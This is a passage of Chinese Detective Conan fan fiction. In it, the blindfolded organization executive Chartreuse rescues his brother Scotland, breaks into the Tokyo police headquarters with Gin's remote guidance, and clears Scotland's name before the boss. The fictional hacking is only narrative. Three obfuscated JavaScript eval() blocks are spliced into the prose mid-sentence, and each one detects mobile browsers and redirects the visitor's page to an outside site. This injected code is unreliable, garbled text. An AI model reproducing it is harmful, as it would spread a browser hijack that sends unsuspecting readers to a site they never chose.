过了一会儿,门内传来锁芯转动的声音。门被拉开一条缝,一个穿着宽松睡衣,头发微乱,面容清秀甚至带着几分中性柔美的“女生”打着哈欠出现在门后。当她看清门外站着的是谁时,残余的困倦瞬间被惊讶与了然取代。 “[成实,抱歉这么晚还打扰你。]”清浅的电子音似乎都放缓了些许。 浅井成实——或者说麻生成实,麻生圭二事件中侥幸存活的儿子,如今被一位退休外科医生收养,并在对方的支持和某位“资助人”的暗中帮助下,完成了医学学业,在这里开了家小诊所。 “哪里的事。”成实摇了摇头,看见了诸伏清浅身后那两个气质不凡、却明显带着紧张与疲惫的男人,尤其注意到了诸伏景光身上沾染的血迹和狼狈,瞬间明白了三人的来意。“是有伤员吗?先进来我看看。” 他将三人让进诊所,利落地反锁上门。灯光亮起,映照出内部干净整洁、设备齐全的环境。 浅井成实没有多问,只是引导诸伏景光坐下,熟练地打开急救箱,开始检查和处理他手臂上的擦伤以及可能存在的其他暗伤。 清浅则像是回到了自己地盘一样,毫不客气地走到角落一张办公桌前,打开上面的电脑。 开机密码被他轻易绕过,随即,熟悉的、密集的键盘敲击声再次响起,屏幕上开始闪烁起令人眼花缭乱的代码和监控画面截取界面。 代码。是—— “你会黑客技能?” “[会,但组织不知道。]”他甚至没有抬头,电子音便已回答了降谷零那句明知故问。 过了一会儿,他停下敲击转向降谷零,电子音响起:“[你过来看一下。]” 降谷零依言过去。清浅将电脑屏幕微微转向他,上面是一些模糊的通讯记录和几个被标记的身份信息。 “我已经不想追究为什么你公安会派两个人进来卧底了,” 因为要敲键盘,清浅放弃了电子音,而是用微弱的气音慢慢讲述,像是在整理纷乱的线索。 ……故而他语气里的情绪要明显上不少。 “但我刚才和莱伊……和赤井秀一通过加密频道简单交换了信息,你们的时间对不上。” “时间?”降谷零敏锐地抓住了关键词。 “赤井那边的情况是,苏格兰的联络人背叛,那个叛徒想用卧底的命换一笔钱,主动找上了莱伊。 所以莱伊是通过跟踪联络人,顺藤摸瓜发现了卧底就是苏格兰。 这是‘基层’发生的、基于利益驱动的暴露。” 他顿了顿,语气变得更加凝重。 “而朗姆那边下达的、针对‘苏格兰是日本公安卧底’的全组织追捕令,时间点要更晚一些,信息来源也不同。” “是警视厅的内鬼。”他直截了当地抛出结论,声音中带着冷意。 “抱歉,组织外派的卧底和内应详细名单,包括在警方内部的眼线,核心资料都掌握在朗姆手中,我很难直接拿到。 但我刚才紧急回溯了一下,在朗姆命令下达前约一个小时,通过特定节点向外发送过加密信息的,警视厅内部,只有这三个人。” 他敲了敲屏幕上三个被高亮的名字。 “时间很紧,我能快速锁定并拿到的不完全证据只有这些,剩下的身份确认和深入排查,只能靠你们自己了。” 降谷零瞳孔骤缩,死死盯着那三个名字,内心早已翻江倒海。 夏特勒兹不仅清楚莱伊的FBI身份,知晓他和景光的公安背景,现在更是直接黑入了警视厅的通讯网络,或者监控了某个关键节点…… 但在如此短的时间内定位出了三个嫌疑人,这份骇人的情报能力,精湛的黑客技术,以及他对警视厅内部非同寻常的关注度……简直令人脊背发寒。 “不过,”清浅的话锋一转,将他的思绪拉回,“根据朗姆的命令措辞来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556393|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……他目前也只是知道‘苏格兰’这个代号是卧底,大概率还不知道苏格兰的真实姓名和具体背景。 我们可以凭借这一点,做一个局。” 做局? “把苏格兰的‘卧底’身份,洗成‘被陷害的无辜者’。” 他缓缓勾勒出计划的轮廓。或许可以是公安试图诬陷一名忠诚的组织成员(苏格兰),试图在他‘暴露’被追捕的千钧一发之际救下他,演一出‘苦肉计’。 目的是挟恩图报,获取组织情报并且……反向钓出组织安插在公安内部的那个‘内鬼’。 可惜谁也没想到苏格兰这么能跑,莱伊这么能追,导致公安还没来得及“救援”,目标就已被处理掉。 偷鸡不成蚀把米。 这个计划大胆冒险,却又在逻辑上存在一定的可行性,尤其是在信息不对称的情况下。 降谷零眉头紧锁,消化着这个复杂的骗局,同时也问出了心底最大的困惑:“等等,为什么你如此执着于‘洗清’苏格兰的身份?”甚至不惜设计一个复杂的骗局。 诸伏清浅沉默了一瞬,片刻后气音轻吐,带着一种洞悉世事的冷静: “我说过了,你们当中就莱伊的身份背景最好查……以FBI的行事风格,他们应该没有让赤井秀一长期潜伏的打算。我推测,赤井本人可能不久之后也会暴露,并撤离组织。” 他看向降谷零,那双无焦距的雾蓝色眼眸仿佛能穿透现实,看到未来的某种可能。 “你想过到时候的后果吗?” 三瓶威士忌,两瓶都是卧底,就剩下波本一个独苗苗。 无论是波本,还是作为曾经与他们关系密切、甚至负责身份审查工作的夏特勒兹,都会被组织问责,反复审视怀疑。 “本来摧毁组织就已经是地狱难度的任务了,没有必要因为这种可以避免的猜疑,给我们自己凭空增加难度。” 降谷零怔怔地看着他,一时间竟哑口无言。 如果冷静下来思考,他或许也能推导出类似的结论。 但在刚刚经历生死时速、心神未定的此刻,对方却能如此迅速地洞察全局、预判风险、并立刻拿出应对方案…… 如果,如果夏特勒兹不是hiro的弟弟,如果他没有认出hiro,如果他是真正忠于组织的恶魔…… 那么今晚hiro必死无疑。而他和莱伊也必将陷入极大的被动,甚至可能被牵连暴露。 这个人的心思、手段、对局势的洞察和掌控力……太可怕了。 “……这么周全,你这家伙真的是……”降谷零的声音带着一丝不易察觉的颤抖,“很可怕啊。” 这句评价,并非贬义,而是一种基于事实的、混杂着震惊、庆幸与一丝敬畏的复杂感叹。 哈,可怕……吗。 清浅置于桌下的手,几不可察地蜷缩了一下,指尖冰凉。 他可是,到现在,手都是抖的啊…… * “没有子弹在体内,顶多是擦伤有点多。”这个时候浅井成实也给诸伏景光完成了检查和基本的清创,简单包扎完后直起身和清浅说道。 “按时换药,不要剧烈运动就行。” 诸伏清浅闻言身体几不可见地微微一僵。他没有回头去看病床的方向,只是低低地应了一声:“嗯……” 随即像是要掩盖什么般,迅速将屏幕上的信息再次转向降谷零,“嗯……你再看看这几个……” 诸伏景光静静地坐在那里,听着清浅那微弱到几乎消散在空气中的气音,看着他始终背对自己的、挺直却莫名透出单薄与固执的背影,心脏像是被一只无形的手紧紧攥住,酸涩的疼痛与深切的担忧几乎要满溢出来。 ——清浅在刻意疏离他。 这个认知让他胸口发闷。同时,他清晰地回忆起在天台时,清浅格斗中下意识避开右侧发力的细节——他同样也带着伤。 他下意识极其轻微地动了一下,或许是试图调整坐姿更面向清浅,又或许只是身体不由自主地前倾。 “你……”你的伤要不要看一下? 这微小的动作和音节轻如鸿毛,但背对着他的诸伏清浅后背如同被无形的电流猛地击中,瞬间僵直。 下一秒,变故骤生。 “哐当——!” 电脑椅被他毫无预警的猛然转身撞开,发出刺耳的摩擦声。 在降谷零惊愕的目光和浅井成实来不及反应的注视下,清浅如同被触怒的困兽,几步就跨到病床前。 他猛地探手,一把死死揪住了诸伏景光病号服的衣领,用尽全力将他狠狠拽向自己! 什么冷静,什么谋划,什么伪装,在这一刻灰飞烟灭,露出了其下几乎要将自身也焚毁的情感。 他苍白的脸因极致的暴怒和猛然牵扯背后伤口的剧痛,泛起不正常的红潮,那双雾蓝色的眼眸即使无法聚焦,也仿佛燃烧着火焰,里面翻涌着滔天的后怕、难以遏制的愤怒,以及…… 几乎要将人淹没的委屈。 “你动什么动?!!” 一声嘶哑到几乎破音的低吼,终于冲破了所有理智的束缚,带着血气和颤抖,炸响在寂静的诊所里。 “医生刚说完不要剧烈运动你没听见吗?!你的耳朵是和你的脑子一起在刚才的天台上被风吹走了吗,诸伏景光?!” 他的气音像破了的风箱,却又带着刀锋般的锐利,劈头盖脸地砸下来: “你的生命线是跟你的人生规划一起被格式化了吗?!老子蹲在组织这个阴间副本里吭哧吭哧打了十九年工,存档点都快被我磨平了,就为了有朝一日能通关! 你倒好,直接伸手去拔我电源线?!” “你那一枪倒是干脆!砰一下,你自己是轻松了,降谷零呢?爸妈呢?高明哥呢?我呢?!” “你让我怎么办?!” 啪嗒。 诸伏景光怔然着,看着那滴泪,落了下来。 77.稍微有点不安 那颗眼泪砸落的声响,仿佛抽干了房间里所有的声音。 谁都没料到夏特勒兹会突然情绪失控,但诡异的是,每个人又都觉得这一幕迟早会发生。 ……除了浅井成实。 他的视线死死锁定在清浅的后背上,黑色冲锋衣固然能掩盖许多痕迹,但在刚才那番剧烈的情绪爆发和动作下,某些迹象是藏不住的。 ——比如说某处衣料因为被血液浸透而产生的与周围不同的微弱反光。 “尘,你别动!” 浅井成实的脸色骤然变了,他一个箭步上前,伸手按在清浅想要下意识后退的肩膀上,指尖触碰到了一片不正常的湿濡与温热。 “你……”他倒抽一口冷气,“摁住他!” 在这里医生最大,降谷零一言不发地上前,配合着成实将还想挣扎的清浅按在旁边的医疗床上。 成实不由分说地扒拉下冲锋衣,剪开黏连在伤口上的衣物,将那处草草包扎、此刻已然崩裂的狰狞枪伤彻底暴露在灯光下。 “我记得你不久前有一个任务在横滨,那边几个小时前在港口发生了冲突……” 诸伏景光将前因后果都串联起来,神色带上了不可置信。“你……直接赶过来的?!” 这话说的前言不搭后语,但降谷零听懂了:“等等,那你那边……?” “有岩上在那边顶着,我消失一会儿没什么问题。”诸伏清浅僵着身子被成实制裁,恶狠狠地被重新清创包扎。 或许是自知理亏,他的气音微弱到几乎不可察。 “待会我会和莱伊商量一下后续,搞定了我得直接回横滨那里。” 等重新包扎完,清浅抬手用力抹去脸上的泪痕,重新系好黑缎,遮住泛红的眼眶,又从成实这里找了件干净外套换上。每一个动作都透着刻意维持的镇定。 “苏格兰这边……就拜托你了。” 他有些僵硬地起身,几乎是逃也似地拉开诊所大门,身影迅速消融在夜色中,带着一种落荒而逃的意味。 “真的是……”浅井成实望着他消失的方向,愤愤地叹了口气,这才想起对方连止痛药都忘了拿,“那家伙还是这么能忍。” 降谷零与诸伏景光对视一眼,随后同时将目光投向浅井成实。 被盯着的医生先是一愣,随即恍然:“哦哦,保密是吧?放心,我嘴很严的。” 他做了个给嘴巴拉上拉链的动作,“你的伤其实没什么大碍……虽然我很想这么说,但你们的职业性质恐怕不允许静养。我也没什么特别要嘱咐的,最多再给你开些止痛药。” “这个确实需要……”诸伏景光欲言又止,“不过我更想知道,你似乎对我们刚才的对话内容并不惊讶?” 浅井成实警惕地后退半步:“今晚没有任何人来过诊所,我早就睡下了。” 好吧,看来是问不出什么了。诸伏景光只得遗憾地放弃追问。 * 待浅井成实离开,将空间留给两位卧底先生后,降谷零才做了个深呼吸。 “抱歉,辛苦你了zero。”诸伏景光抿唇。 他知道今晚因为自己的暴露,引发了怎么样的海啸。暴露后的警视厅内部必然迎来审查,假身份的伪造,组织的试探,情报的调查…… 各种大大小小的事务接踵而至,他仿佛已经看到幼驯染忙飞的未来。 降谷零没有说话,只是俯身将幼驯染紧紧抱在怀里,诸伏景光甚至能感受到对方细微的颤抖。 其实快要被吓死的何止诸伏清浅一人? 只是相较于掌握更多信息与主动权,能够以激烈方式宣泄情绪的清浅,降谷零自身的限制和需要考虑的东西要多得多。 卧底的身份如履薄冰,就连情绪都不能外露一丝。他必须冷静,必须理智,必须完美地演绎好波本的假面。 如果夏特勒兹没有认出hiro,没有在那千钧一发之际拦下那对准心脏的枪口,没有以掀翻所有人底牌的方式强行介入…… 他不敢想。 待那阵劫后余生的战栗稍稍平复,降谷零才缓缓松开拥抱,恢复到身为降谷警官的认真严肃。 “夏特勒兹是你弟弟……这个你能确认吗?” 无论是否有血缘关系,最终目的都是在于确认夏特勒兹是否可信。 诸伏景光当然知道幼驯染的言下之意,有夏特勒兹的“跳反”行为在前,如今隐瞒也没有了必要。 “可以确定。他确实是……清浅。诸伏清浅。”他那个失踪了19年的弟弟。 得到DNA鉴定报告的答复,降谷零神色复杂:“……所以你之前说的,夏特勒兹有策反的可能性……” “啊,那个啊。”诸伏景光苦笑一声,“他应该很早就认出我了吧。” 不然当初高烧意识模糊时,又怎么会下意识喊他哥呢。 哈啊啊啊—— 降谷零搓了把脸,想借此驱散脑中的混乱。 他回想起刚才和夏,诸伏清浅的讨论,巨大的信息量让他忍不住抓了抓头发。 在此刻,信任本身反而不是他最纠结的核心。他亲眼见证,诸伏清浅那自毁式的救援与崩溃的泪水做不得假。 他纠结的,是这背后所代表的、更令人不安的现实。 夏特勒兹的情报能力,对警察、公安的了解程度,以及今晚事件的后续处理的缜密布局,都强到让人心惊。 ——夏特勒兹很早就认出了景光。并且极有可能早在今夜之前,就已为诸伏景光可能暴露的每一种情况铺设好了或多或少的退路。 这份能力强大到令人敬畏,却也因其的深不可测带来了强烈的不安。 无论是波本还是降谷零,都习惯了掌控局面,习惯于作为保护者。然而他却清晰地意识到,诸伏清浅或许并不是广义上需要他保护的公民。 反而是自己与hiro,或许某种程度上一直处于对方无声的注视与安排之下。 ……这种感觉让他极不适应。 一个在组织被精心培养、浸淫多年的顶级干部,其忠诚与立场,真的能如此简单地用“血缘”和“一时冲动”来担保吗? 即使是被称为失败品的阿尼赛特,在朗姆的试探下不也对训练营的情报守口如瓶? 作为在黑暗中行走的卧底,降谷零比任何人都清楚,长期扮演另一个角色对自我的侵蚀是何等的可怕。 即使受过两年的卧底培训,他也需要时刻紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16560887|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绷神经,才能守住身为“日本公安降谷零”的底线。 诸伏清浅呢? 这可是一个从孩童时期就被迫浸淫、被塑造了整整十多年的存在。 换作是他,从小在那样的环境中被培养,还能保有如今的信念与底线吗? 答案很可能是悲观的。 他害怕,害怕诸伏清浅的内里早已被夏特勒兹这个身份同化,救下hiro或许只是残存的血脉亲情。 ——他的思维模式与行事逻辑,或许早已与组织的黑暗同频。 可是。 可是。 所有的信息都指向了那条唯一可行的道路。 无论诸伏清浅变成了什么样子,无论他内心深处还保留着多少“清浅”的本真,在眼下,他都是摧毁组织最关键、也可能是最强大的钥匙。 而且,他愿意为了身为兄长的诸伏景光付出一切代价—— 这一点,毋庸置疑。 “……我知道了。” 他最终只是长叹一口气,紫灰色的眼眸中闪烁着坚毅的光芒。 “我会将夏特勒兹的身份列入公安的最高机密里的。” * 当赤井秀一看见夏特勒兹悄无声息翻窗进他的临时安全屋时,他夹在指间的烟几不可察地顿了一下。 “你连这个安全屋都知道。” “[我有我的方法,]”跟着系统定位精准找上门的诸伏清浅毫不客气呛了回去,“[反正我没往你身上装发讯器。]” “……好吧,那么接下来你打算怎么做?”赤井不信邪地将自己从头到脚快速检查了一遍,确认干净后才耸耸肩。 “威士忌组里全是卧底,真是不可思议。” “[……酒厂根本不会酿威士忌酒,不是掺水就是假酒。]” 赤井秀一:? 诸伏清浅无意在这个话题上纠缠:“[赤井务武的消息的话,我建议你去拉斯维加斯那边找一找……我对这个了解的不算多,待会我会发个联系人的信息给你,你到时候问他去。]” 当初得到赤井务武的消息实属意外。 当时的诸伏清浅刚出训练营,压抑了许久的他总算得到解放,迅速跟着原著剧情将自己的情报网铺开—— 然后,你,对,就你,麦卡伦威士忌—— 就你叫麦卡伦威士忌啊? 看着组织暗网里的资料中麦卡伦威士忌的后缀上大大的“MI6卧底”几个字,以及那和赤井秀一相似的样貌,年轻的夏特勒兹忍不住战术后仰。 后来在拉斯维加斯和黑羽盗一接触后,他是偶然间才发现了这位MI6探员与天才魔术师的联系。 诸伏清浅:…… 好家伙,所以原著中怪盗基德的情报网,是您在背后支撑啊。 回过神来,他迅速将对话拉回正轨:“[在此之前,我有两件事要确认。]” 已经重新系好蒙眼黑缎的青年倚在窗边抱臂沉思。半晌,他才在手机上敲敲打打,电子音带着算计一切的语气——仿佛一个小时前在天台上情绪失控的人是所有人的幻觉。 “[第一,那个背叛苏格兰的叛徒,现在在哪里。]” “[第二——]” 78.推翻 在和降谷零达成初步合作意向后,诸伏清浅没有片刻耽搁,立刻赶回横滨的任务地点伪造不在场证明。 时间紧迫,他需要在组织的视线下上演一出戏。 借助伊森本堂的掩护,成功伪造了夏特勒兹尚在横滨处理任务的假象,短时间内其他人并没有发现任何不妥。 确认时间尚在容许的范围,他走到角落连上耳机,拨通了一个极少联系的号码。 短暂的等待音后,电话被接通,一时间两边只有极浅的呼吸声,谁也没有说话。 “[我听说苏格兰是卧底?]”电子音连接上通话率先响起,平静的语调仿佛在陈述一件与自己无关的事。“[怎么个事?]” 电话那头沉默一瞬,随即传来琴酒标志性的带着一丝不耐与冷冽的声音:“朗姆的情报。” 言简意赅,却也透露出此事并非经由他手,夏特勒兹要找也是去找朗姆的麻烦。 苏格兰是老鼠?在听到这个消息时他或许会对卧底的存在感到不爽,毕竟苏格兰用起来还算顺手。 这个发现是朗姆提出的更是让他的不爽更上一层楼。 “[……上交死亡报告的是莱伊。]” 所以这件事他找琴酒也没什么错。 ……啧。 这是找他问责了?琴酒不耐烦地警告:“事到如今,你现在最需要做的是想想怎么和boss交代,夏特勒兹。” 毕竟负责卧底审查的人是他,身为苏格兰上司的也是他。 “[我当然知道。]”电子音依旧平铺直叙,“[正是因为这样我才觉得不对劲。朗姆哪里来的情报?]” 他顿了顿,似乎在组织语言,然后抛出了真正的意图,“[琴酒,你还欠我一个人情,是吧?]” 琴酒突然有一种不好的预感。 之前处理泥惨会时夏特勒兹帮了一把,那个时候他主动欠下了一个人情。 电话那头的琴酒果然发出了一声极轻的意味不明的冷哼:“……说。” “[帮我个忙,]” 夏特勒兹的电子音依旧平稳,却罕见地带着一丝不容置疑的决断。 “[我想潜进去亲自查一下警视厅的档案,你帮我看一下路。]” 这个请求简直就是暴言,潜入警视厅无异于自投罗网。 但琴酒在短暂的沉默后,竟然没有直接拒绝。 或许他想看看夏特勒兹究竟想搞什么花样,又或许他乐于见到朗姆吃瘪,非常愿意掺和一脚。 “哼……有意思。”琴酒冷笑一声。 “位置。时间。” 这已然是同意的信号。 * 夜深人静,警视厅大楼大部分区域已陷入黑暗与寂静,只有零星巡逻的安保人员和永不熄灭的指示灯。 一道身影几乎与黑暗融为一体,悄然出现在大楼背面的阴影处。 诸伏清浅早已摸清这里的建筑结构和通风管道,一点一点地寻找着突破口。 后背的枪伤还在隐隐作痛,但他强行将这份不适压下,听觉,触觉,对空气流动的感知,他将所有的感官都提升到极致。 他的脖颈上戴上了一个项圈,是和未来来叶崖基尔所戴的同款。耳机里传来琴酒透过项圈的视频连接传来的指令,充当着他缺失的视觉。 “[前方走廊尽头有巡逻人员,折返,走通风管道,上行两层。]” 诸伏清浅没有丝毫犹豫,手指在墙壁的细微凸起处借力,身轻如燕地向上攀援,精准找到并移开通风口的格栅缩身钻入。 狭窄的管道内弥漫着灰尘的气息,他只能依靠手臂和核心力量小心向前移动,后背的伤口与粗糙的管壁摩擦,带来阵阵尖锐的疼痛,让他的额角渗出细密冷汗,但他连呼吸都控制在最轻微的幅度。 琴酒的指挥往往简洁到吝啬,往往只是一个方向、一个障碍物的提示,但清浅总能瞬间理解并执行。 他们之间没有任何多余的交流,没有质疑,没有确认,有的只是“这你都做不到?那你很菜了”的挑衅。 草……令人火大! 诸伏清浅:[咬牙切齿.jpg] * 经过一番周折,诸伏清浅终于根据琴酒的指引潜入到目标区域——一间存放着部分内部调查和行动预案档案的科室。 这里的安保相对核心区域较弱,但仍不能掉以轻心。 他根据指示来到一台处于待机状态的电脑前,从口袋中摸出一枚微型U盘——里面的程序足以在警方的安保系统下撑上五分钟,让琴酒能够远程操作这台电脑。 可以吗? 潜入时不方便掏出手机打字,诸伏清浅只得敲了敲耳麦以示询问。 “连上了。”琴酒回应。 远在不知何处的琴酒开始通过远程连接操作。诸伏清浅则退到门边的阴影处,耳朵捕捉外面任何一丝风吹草动。 时间一分一秒过去,耳机里只有琴酒那边偶尔传来极其轻微的键盘敲击声。 应该……快了。他看着系统面板显示的时间,背后伤口因持续紧张而传来的阵阵抽痛让他忍不住思绪飘散了一会儿。 突然,耳机里传来琴酒一声嗤笑。 “呵……”他的声音里带着毫不掩饰的嘲讽,“朗姆那个蠢货。” 找到了。 一份关于“驱虎吞狼”计划的精心伪造的文件,赫然出现在屏幕上。 所谓的“苏格兰是卧底”,是公安内部某派系为了陷害异己,试图借此引出组织在公安内部的卧底而设下的圈套。 计划书中甚至详细描述了如何伪造证据,如何利用信息差引导组织内部做出误判。 这份伪造的真相,完美地解释了为何朗姆的追杀命令会指向苏格兰,也巧妙地将其归结为朗姆派系的无能与轻信,甚至暗指其可能被公安利用。 琴酒似乎还在浏览文件细节,诸伏清浅思绪一沉。从苏格兰暴露至今,时间太过仓促,他无法确定公安这份匆忙布置的伪证能否经得起反复推敲。 绝不能给琴酒留下深思的时间。 心念一动,系统面板上早就撰写好的程序开始运作,不一会儿尖锐刺耳的警报声划破了夜的宁静! 警视厅大楼的灯光骤然亮起,远处逐渐传来纷乱的脚步声和呼喊声! 虽然时间短暂,但得到的情报已经完全可以推翻苏格兰的卧底论,没有必要再继续耗下去。 “撤。”琴酒的声音依旧冷静,但语速快了一丝。 电脑的远程连接瞬间被切断,U盘内的程序也开启了自毁。 诸伏清浅一把拔出U盘,身形如离弦之箭冲向预定的撤离路线——一扇位于走廊尽头的应急窗,通常处于锁闭状态,但已经被他提前做了手脚。 然而,警报触发得比他预想的还要迅速,一队反应极快的公安已经堵住了前方的去路。 公安的地盘竟然被轻而易举地潜入……简直就是奇耻大辱!而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573835|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那家伙的逃跑方向来看,他刚刚是在……档案室! 必须把他留下来! 公安们抬起手枪,子弹激射而出。 这次的行动保密级别肯定很高,这些公安并不知晓内情,出手自然毫无保留。 凭着超凡的听力和反应,诸伏清浅在狭窄的走廊间起跳,腾空,踩着墙壁飞跃而过。 但毕竟视线受阻,且身处不利地形,一颗子弹还是狠狠擦过了他的手臂,带起一小簇血花。 骤然的痛楚让他身形一个趔趄,差点压不住嘴里的一句脏话。 利用对方换弹匣的瞬间,他猛地撞开那扇应急窗,毫不犹豫地从三楼纵身跃下! 落地时他一个翻滚卸去大部分力道,但撞击依然让背后的伤口传来撕裂般的剧痛,让他忍不住两眼一黑。 早就在楼下接应的黑色轿车车门打开,驾驶座上的伊森本堂已经启动车子,引擎声轰鸣咆哮。 诸伏清浅用尽最后力气钻入车内,伊森本堂立刻松开刹车,轿车咆哮着冲入夜色,将身后越来越近的警笛声甩远。 * “抱歉!降谷先生,我们没能追上……”接到消息的风见裕也连忙赶来,看见自家上司蹲在走廊处的一滩血迹面前,神色难辨。 “没事,追不到就算了。”降谷零站起身,平静的语气让风见敏锐察觉到上司的算计。 “回去自己领罚吧,安保是做什么吃的。” “……是。” 不是算计,是惩罚呢。[面无表情.jpg] * 车内,诸伏清浅靠在座椅上喘息着,额头上满是冷汗。新添的枪伤和背后的旧伤都在火辣辣地疼痛,他扯下破损的袖口,草草按住手臂上不断渗血的伤口。 “[……看来你有结论了。]” 伊森本堂从后视镜看了上司一眼,注意到他右耳的无线耳机与那个造型特殊的项圈并未取下。 没有切断联络的琴酒自然完整看完了夏特勒兹撤离的所有动作,闻言哼笑一声,带着点意味不明的语气。 “……你还真是护犊子。” 被打上叛徒或老鼠标签的家伙死就死了,哪会像夏特勒兹一样冒险潜入官方,就为了验证老鼠是不是老鼠? “[过几天你就等看戏吧,还轮不到朗姆对我的工作指手画脚。]” “那我就期待着了。”琴酒心情不错地切断通讯。 啪嗒。 将耳机和脖子上的项圈取下确认关机,诸伏清浅才像一滩烂泥一样瘫在后座。 哈啊……好累。 但无论如何,这最关键的一关总算勉强闯过。 “……夏特勒兹。” 因为已经摆脱了警方的追兵,伊森本堂将车速降回了正常区间。 “[准奏。]”电子音懒洋洋地响起。 中年男人目光依旧专注前方道路,状似随意地问:“苏格兰……他真的是卧底吗?” “[这个啊——谁知道呢。]”电子音拖长了调子,透出一种漫不经心的模糊,仿佛在谈论一件与己无关的小事,但接下来的话让伊森本堂打起了十二分精神。 “[不过既然苏格兰无了,我在行动组那边的眼线就少了一个……]” 电子音微微一顿,语气轻描淡写却带着冰冷的置换意味,仿佛在陈述一件物品的更新换代。 “[岩上,是时候锻炼一下了。收拾收拾准备接手,把代号拿到手吧。]” 79.第三份便当! 组织内部出现卧底本来不算稀奇,但麻烦在于这次牵扯的是苏格兰——一位在组织里潜伏了两年之久的日本公安。 谁也不知道这些年来有多少情报通过他流向警方,凡是他经手的任务都必须彻底重新审查。 而作为负责卧底排查和审讯工作、更是苏格兰的直属上司与审核官的夏特勒兹,无论真相如何,他都必须和boss汇报相关情况。 “[……以上,是关于苏格兰的相关报告。他参与的任务中确实有几个出现了公安活动的痕迹。 但是仔细调查过后,我并未发现这些痕迹与苏格兰存在直接关联。]” 会议室里,平铺直叙的电子音完成了汇报,蒙眼青年沉默落座。 组织的高层会议只有寥寥数人,琴酒、贝尔摩德、朗姆、皮斯科,以及夏特勒兹五个。 说实话清浅已经很久没有见到皮斯科了,对方好像有让罗马纳接手衣钵的意图,目前后勤组的大小事务已经很少看见他的影子。就连会议他也只是静/坐一旁,如同一个沉默的旁观者。 与他形成鲜明对比的是朗姆。夏特勒兹话音刚落,他就发出一声毫不掩饰的嗤笑: “说着没发现关联,却连手下是条子的卧底都未能察觉……夏特勒兹,你的结论让人实在难以信服。” 贝尔摩德原本在百无聊赖欣赏自己新做的美甲,闻言微微直起身子,眼中终于染上一丝兴味——朗姆与夏特勒兹素来不和,这场会议总算有趣了些。 反正朗姆夏特勒兹两人向来看对方不顺眼,夏特勒兹手指快速敲打,电子音毫不犹豫地怼了回去:“[呵。]” 朗姆:……这小子! 朗姆额角青筋一跳几乎气笑:“BOSS,请允许我汇报关于苏格兰卧底身份的确凿证据。” “[你说是就是?]”电子音陡然带着毫不掩饰的戾气,“[老子手下的人,什么时候轮到你来管了?]” “……你这是在维护那个叛徒吗,夏特勒兹?”朗姆的声音彻底冷下。 妈的,本来带病上班就烦。说着说着诸伏清浅火气也上来了。 “[哈……叛徒?你是在指苏格兰?还是在影射我?你是在怀疑我对组织的忠诚度?还是我对卧底的敏锐度?]” 夏特勒兹是谁?是专门负责卧底排查和审讯的猎犬。 如果说琴酒热衷于抓老鼠然后一枪崩掉的猫,那么夏特勒兹就是在阴影中盯着你一举一动、等待破绽露出后一击毙命的蛇。 单论清理门户的数量,严格算起来夏特勒兹抓的还要比琴酒多上一点。 “[他既然拿了苏格兰这个代号,我抄他底的次数只会比你多,苏格兰没有问题——你在怀疑我的判断?]” 朗姆老神在在地抛出筹码:“我在警视厅那边的线人传来的情报——” “[你是最近日子过的太飘了?十几年前摔过的跟头好了伤疤忘了疼?]” 蒙眼青年的话语狠辣精准,直戳痛处:“[用钱收买的家伙你是查也不查啊。]” 他嘲讽似的轻嗤一声,电子音里满是嘲讽:“[但凡你查一下,就会发现“苏格兰是卧底”相关资料的真正建档日期是一个月前——这一切他妈的都是条子想要空手套白狼下的套! 我还没追究你随意构陷我下属的责任,你倒先反咬一口?!]” “胡说八道也得有个限度!” “[连情报验证这种基础流程都搞不清楚,你个门外汉有什么资格在这里指手画脚?!]” “哎呀呀……”贝尔摩德单手托腮,红唇弯起愉悦的弧度,“这可真是……” 【够了,朗姆。】 就在这时,与夏特勒兹的电子音截然不同,突兀响起的电子音更加冰冷粘腻。 声音响起的刹那,琴酒和夏特勒兹几乎是条件反射地站起身,带着刻入骨髓的驯从向声音来源微微低头。 之前所有的暴躁与锋芒瞬间收敛,只剩下绝对的恭敬。 朗姆闻言也立刻闭嘴,连同其他两位成员调整坐姿坐直。 “boss。”*5,整齐划一的问候声响起。 【苏格兰不是卧底。】 朗姆愕然抬起头。刚才BOSS只点名喝止他时,不祥的预感就已浮现。 ……但他没料到定论会如此直接。 如果苏格兰真的是卧底,那么作为杀死苏格兰的莱伊的上司,琴酒和他都会得到boss的赞赏……难怪从会议一开始琴酒就没有表态。 “这不可能,boss。”他皱紧眉头,压下翻涌的情绪试图辩驳。“警视厅那边——” 【琴酒和夏特勒兹去警视厅确认过了。】 Boss的电子音没有任何情绪,却给此次事情一锤定音,彻底堵死了朗姆的所有狡辩。 “[boss。]”相较于BOSS的合成音,夏特勒兹的音色更显清朗,带着收敛后的恭敬。 